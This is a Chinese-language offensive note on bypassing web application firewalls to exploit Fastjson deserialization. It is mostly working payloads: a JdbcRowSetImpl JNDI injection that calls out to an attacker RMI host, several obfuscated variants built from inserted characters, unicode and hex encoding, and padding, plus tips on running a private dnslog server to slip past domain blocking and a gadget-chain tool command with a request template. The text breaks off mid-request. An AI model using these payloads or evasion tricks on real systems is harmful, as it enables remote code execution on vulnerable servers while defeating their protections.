bypass waf
近几年waf的是反序列化漏洞头号大敌，面对waf的封禁，我们又该何去何从勒？
利用Fastjson默认会去除键、值外的空格、b、n、r、f等特性，并且还会自动将键与值进行unicode与十六进制解码，扩展出bypass的方法：
原生payload：
{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"rmi://10.251.0.111:9999","autoCommit":true}
bypass版本
{/s6/"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"rmi://10.251.0.111:9999","autoCommit":true}{n"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"rmi://10.251.0.111:9999","autoCommit":true}{"@type"b:"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"rmi://10.251.0.111:9999","autoCommit":true}{"u0040u0074u0079u0070u0065":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"rmi://10.251.0.111:9999","autoCommit":true}{"x40x74x79x70x65":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"rmi://10.251.0.111:9999","autoCommit":true}
可应对关键字的封禁。
同理利用特性大包绕也是可能的
{/s6s6s6s6s6s6s6s6s6s6s6s6s6s6s6s6s6s6s6s6s6s6s6s6s6s6s6s6s6s6s6s6s6s6s6s6s6s6s6s6s6s6s6s6s6s6s6s6s6s6s6s6s6s6s6s6s6s6s6s6s6s6s6s6s6s6s6s6s6s6s6s6s6s6s6s6s6s6s6s6s6s6s6s6s6s6s6s6s6s6s6s6s6s6s6s6s6s6s6s6s6s6s6s6s6s6s6s6s6/"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"rmi://10.251.0.111:9999","autoCommit":true}
有一些waf则检测一些域名，比如dnslog的平台，这时候就可以自己搭建dnslog平台，进行测试：
需要准备：
两个域名，或者一个阿里云的域名。vps服务器一台DNSlog项目：
https://github.com/lanyi1998/DNSlog-GO/releases
总结
理论上，1.2.68之前的都能打死，就是看环境允不允许，因为jndi注入的利用受jdk版本影响较大，所以在利用的时候还是要多尝试的，实际利用场景还得看实际的环境，多尝试一些payload是好的，在利用bcel打高版本的jdk时，需要去跑链。
测利用链：
Fastjson.LDAPRefServerAuto: 自动找寻反序列可利用的gadget(cb1,cc1-10,spring1-2,groovy1,jdk7u21)
java -cp fastjson_tool.jar fastjson.LDAPRefServerAuto 127.0.0.1 1099file=filename
filename为请求包，需要插入fastjson攻击语句的地方，用PAYLOAD代替，示例：
POST /fastjson_demo HTTP/1.1 Host: xx.xx.xx.xx Connection:keep-alive Cache-Control: max-age=0 Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64)AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.16Safari/537.36 Accept:text/html,application/xhtml xml,application/xml;q=0.9,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.9Content-Type: application/json Content-Length: 165 PAYLOA
END
